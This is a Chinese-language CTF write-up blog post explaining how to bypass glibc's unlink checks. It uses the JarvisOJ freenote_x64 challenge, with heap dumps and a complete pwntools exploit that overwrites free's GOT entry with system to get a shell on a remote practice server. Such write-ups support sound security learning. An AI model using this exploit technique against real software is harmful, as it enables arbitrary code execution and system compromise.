目录
  1. 1. 简介
  2. 2. 绕过方法
  3. 3. 例子
    1. 3.1. 思路
    2. 3.2. 具体思路
    3. 3.3. exp
unlink

简介

unlink是在smallbin被释放的时候的一种操作,是将当前物理内存相邻的free chunk进行合并,简单的讲就是我们在free一个smallchunk的时候,如果它前面或者后面的chunk有空闲的,即in_use位为0时,就将前面或后面的chunk连在一起合成一个chunk;
smallbin的数据结构:prev_size,size,fd,bk;
因为smallbin被释放后是用双链串在一起的,这就使目前unlink操作时,有一定的检查机制,主要检查我们的双链是否是合法的;
主要检查fd,bk等指针:

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

在双向链表中,所以有两个地方记录chunk的大小,所以检查一下其大小是否一致:

1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
malloc_printerr ("corrupted size vs. prev_size");

unlink操作的简要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define unlink(P, BK, FD)
{
FD = P->fd;
BK = P->bk;
if(FD->bk != P || BK->fd !=p)
{
malloc_printerr (check_action, "corrupted d...", P);
}
else
{
FD->bk = BK;
BK->fd = FD;
}
}

绕过方法

实际上,我们还是有办法绕过unlink的检查,不过需要有一些条件:

  1. 有一个指向heap内的指针;
  2. 存放这个指针的地址已知(一般这个地址(&p)是全局变量);
  3. 可以对这个指针进行多次写入;
  4. 然后我们想办法修改p的fd和p的bk分别为:
1
2
3
4
5
6
//64位
p->fd = &p - 0x18; //fd
p->bk = &p - 0x10; //bk
//32位
p->fd = &p - 12; //fd
p->bk = &p - 8; //bk

这样我们就可以绕过(FD->bk != P || BK->fd !=p)检测了,当unlink的操作完了之后,我们得到:

1
2
3
4
//64位
p = &p - 0x18
//32位
p = &p - 12;

例子

我们以JarvisOJ中的freenote_x64来具体演示一下绕过unlink的操作并且熟悉一下smallbin的结构;
这道题在add函数和edit函数中,真实malloc的size最小都是0x80,也就是我们申请的是smallbin,所以操作的也是samllbin;
主要漏洞在delete note里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __cdecl delete()
{
int i; // [sp+Ch] [bp-4h]@2

if ( chunk_list->number <= 0 )
{
puts("No posts yet.");
}
else
{
printf("Post number: ");
i = get_num();
if ( i >= 0 && i < chunk_list->sum ) // 未检查inuse位,double_free
{
--chunk_list->number;
chunk_list->block[i].in_use = 0LL;
chunk_list->block[i].len = 0LL;
free(chunk_list->block[i].ptr); // 指针未清空
puts("Done.");
}
else
{
puts("Invalid number!");
}
}
}

还有一个有用的漏洞就是add和edit时,我们输入的字符串没有‘\x00’结尾符,我们输入多大的size就读多少size的字符,没有多余;

思路

所以基本思路就是我们先申请4个chunk,然后free(0)和free(2),防止合并;然后在申请2个chunk,只写入8字节,就可以leak出heap和libc的基地址;
在heap基地址偏移0x30的地方有我们需要的&p:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000004
0x603020: 0x0000000000000001 0x0000000000000004
0x603030:&p 0x0000000000604830 p 0x0000000000000001
0x603040: 0x0000000000000002 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000001
0x603060: 0x0000000000604950 0x0000000000000001
0x603070: 0x0000000000000004 0x00000000006049e0
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000

有了&p之后我们就可以构造chunk,然后unlink了;
unlink之后的&p,此时p=&p-0x18:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000004
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000603018 p 0x0000000000000001 //p=&p-0x18
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000001
0x603060: 0x0000000000604950 0x0000000000000001
0x603070: 0x0000000000000004 0x00000000006049e0
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000

然后现在我们就可以修改0x0603018地址开始的内容了,然后就可以修改指针达到任意地址写入了;

具体思路

伪造的如下三个堆块结构 ,注意chunk前后的size一定要相对应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> x/80xg 0x17b8820
0x17b8820: 0x0000000000000000 0x0000000000000191
0x17b8830: 0x0000000000000090 0x0000000000000081
0x17b8840: 0x00000000017b7018 0x00000000017b7020
0x17b8850: 0x6161616161616161 0x6161616161616161
0x17b8860: 0x6161616161616161 0x6161616161616161
0x17b8870: 0x6161616161616161 0x6161616161616161
0x17b8880: 0x6161616161616161 0x6161616161616161
0x17b8890: 0x6161616161616161 0x6161616161616161
0x17b88a0: 0x6161616161616161 0x6161616161616161
0x17b88b0: 0x0000000000000080 0x0000000000000090
0x17b88c0: 0x6363636363636363 0x6363636363636363
0x17b88d0: 0x6363636363636363 0x6363636363636363
0x17b88e0: 0x6363636363636363 0x6363636363636363
0x17b88f0: 0x6363636363636363 0x6363636363636363
0x17b8900: 0x6363636363636363 0x6363636363636363
0x17b8910: 0x6363636363636363 0x6363636363636363
0x17b8920: 0x6363636363636363 0x6363636363636363
0x17b8930: 0x6363636363636363 0x6363636363636363
0x17b8940: 0x0000000000000090 0x0000000000000121
0x17b8950: 0x3232323232323232 0x00007f61721feb78
0x17b8960: 0x6363636363636363 0x6363636363636363
0x17b8970: 0x6363636363636363 0x6363636363636363
0x17b8980: 0x6363636363636363 0x6363636363636363
0x17b8990: 0x6363636363636363 0x6363636363636363
0x17b89a0: 0x6363636363636363 0x6363636363636363
0x17b89b0: 0x6363636363636363 0x0000000000020651
0x17b89c0: 0x6363636363636363 0x6363636363636363
0x17b89d0: 0x0000000000000120 0x0000000000000090
0x17b89e0: 0x6464646464646464 0x6464646464646464
0x17b89f0: 0x6464646464646464 0x6464646464646464
0x17b8a00: 0x6464646464646464 0x6464646464646464
0x17b8a10: 0x6464646464646464 0x6464646464646464
0x17b8a20: 0x6464646464646464 0x6464646464646464
0x17b8a30: 0x6464646464646464 0x6464646464646464
0x17b8a40: 0x6464646464646464 0x6464646464646464
0x17b8a50: 0x6464646464646464 0x6464646464646464

free(1)之后,堆块的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> x/80xg 0x11dd820
0x11dd820: 0x0000000000000000 0x0000000000000191
0x11dd830: 0x0000000000000090 0x0000000000000111
0x11dd840: 0x00007fc6bdb86b78 0x00007fc6bdb86b78
0x11dd850: 0x6161616161616161 0x6161616161616161
0x11dd860: 0x6161616161616161 0x6161616161616161
0x11dd870: 0x6161616161616161 0x6161616161616161
0x11dd880: 0x6161616161616161 0x6161616161616161
0x11dd890: 0x6161616161616161 0x6161616161616161
0x11dd8a0: 0x6161616161616161 0x6161616161616161
0x11dd8b0: 0x0000000000000080 0x0000000000000090
0x11dd8c0: 0x6363636363636363 0x6363636363636363
0x11dd8d0: 0x6363636363636363 0x6363636363636363
0x11dd8e0: 0x6363636363636363 0x6363636363636363
0x11dd8f0: 0x6363636363636363 0x6363636363636363
0x11dd900: 0x6363636363636363 0x6363636363636363
0x11dd910: 0x6363636363636363 0x6363636363636363
0x11dd920: 0x6363636363636363 0x6363636363636363
0x11dd930: 0x6363636363636363 0x6363636363636363
0x11dd940: 0x0000000000000110 0x0000000000000120
0x11dd950: 0x3232323232323232 0x00007fc6bdb86b78
0x11dd960: 0x6363636363636363 0x6363636363636363
0x11dd970: 0x6363636363636363 0x6363636363636363
0x11dd980: 0x6363636363636363 0x6363636363636363
0x11dd990: 0x6363636363636363 0x6363636363636363
0x11dd9a0: 0x6363636363636363 0x6363636363636363
0x11dd9b0: 0x6363636363636363 0x0000000000020651
0x11dd9c0: 0x6363636363636363 0x6363636363636363
0x11dd9d0: 0x0000000000000120 0x0000000000000090
0x11dd9e0: 0x6464646464646464 0x6464646464646464
0x11dd9f0: 0x6464646464646464 0x6464646464646464
0x11dda00: 0x6464646464646464 0x6464646464646464
0x11dda10: 0x6464646464646464 0x6464646464646464
0x11dda20: 0x6464646464646464 0x6464646464646464
0x11dda30: 0x6464646464646464 0x6464646464646464
0x11dda40: 0x6464646464646464 0x6464646464646464
0x11dda50: 0x6464646464646464 0x6464646464646464

而目标地址已经被修改为 p=&p-0x18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40xg 0x11dc000
0x11dc000: 0x0000000000000000 0x0000000000001821
0x11dc010: 0x0000000000000100 0x0000000000000000
0x11dc020: 0x0000000000000001 0x0000000000000120
0x11dc030: 0x00000000011dc018 0x0000000000000000 //p=&p-0x18
0x11dc040: 0x0000000000000000 0x00000000011dd8c0
0x11dc050: 0x0000000000000000 0x0000000000000000
0x11dc060: 0x00000000011dd950 0x0000000000000000
0x11dc070: 0x0000000000000000 0x00000000011dd9e0
0x11dc080: 0x0000000000000000 0x0000000000000000
0x11dc090: 0x0000000000000000 0x0000000000000000
0x11dc0a0: 0x0000000000000000 0x0000000000000000
0x11dc0b0: 0x0000000000000000 0x0000000000000000
0x11dc0c0: 0x0000000000000000 0x0000000000000000
0x11dc0d0: 0x0000000000000000 0x0000000000000000
0x11dc0e0: 0x0000000000000000 0x0000000000000000
0x11dc0f0: 0x0000000000000000 0x0000000000000000
0x11dc100: 0x0000000000000000 0x0000000000000000
0x11dc110: 0x0000000000000000 0x0000000000000000
0x11dc120: 0x0000000000000000 0x0000000000000000
0x11dc130: 0x0000000000000000 0x0000000000000000

接下来向 chunk0 里面写内容就相当于控制了chunk list,随便修改东西,这里把free_got覆盖为system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
if sys.argv[1]=="l":
p=process('./freenote_x64')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p=remote('node3.buuoj.cn',29050)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

e=ELF('./freenote_x64')
def List():
p.recvuntil('Your choice: ')
p.sendline('1')


def new(cont):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new note: ')
p.sendline(str(len(cont)))
p.recvuntil('Enter your note: ')
p.sendline(cont)

def edit(num,cont):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(num))
p.recvuntil('Length of note: ')
p.sendline(str(len(cont)))
p.recvuntil('Enter your note: ')
p.sendline(cont)

def delete(num):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(num))

new('a'*0x80)
new('b'*0x80)
new('c'*0x80)
new('d'*0x80)


delete(0)
delete(2)
new('11111111')
new('22222222')
List()
p.recvuntil('11111111')
s=p.recvuntil('\x0a')
chunk2=u64(s[:-1].ljust(8,'\x00'))
heap_addr=chunk2-0x1940
point_chunk0=heap_addr+0x30
print hex(heap_addr)

delete(1)
delete(2)
delete(3)

#unlink
payload = p64(0x90)+p64(0x81)+p64(point_chunk0-0x18)+p64(point_chunk0-0x10)
payload +='a'*0x60
payload += p64(0x80)+p64(0x90)
payload +='c'*0x80+p64(0x90)+p64(0x121)
edit(0,payload)
delete(1)


#free_got->system
free_got_addr=e.got['free']
print hex(free_got_addr)
payload2=p64(4)+p64(1)+p64(0x8)+p64(free_got_addr)
payload2+=p64(1)+p64(0x8)+p64(chunk2)
payload2+=p64(1)+p64(0x8)+p64(e.got['atoi'])
payload2+='\x00'*(0x120-80)
edit(0,payload2)

p.recvuntil('Your choice: Invalid!\n')

List()
p.recvuntil('2. ')
atoi_in_server=u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
system_in_server=libc.symbols['system']+atoi_in_server-libc.symbols['atoi']
#gdb.attach(proc.pidof(p)[0])

payload3=p64(system_in_server)
edit(0,payload3)
edit(1,"/bin/sh\x00")
delete(1)

p.interactive()

参考链接:https://blog.csdn.net/qq_40827990/java/article/details/88090810

文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/02/27/unlink/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝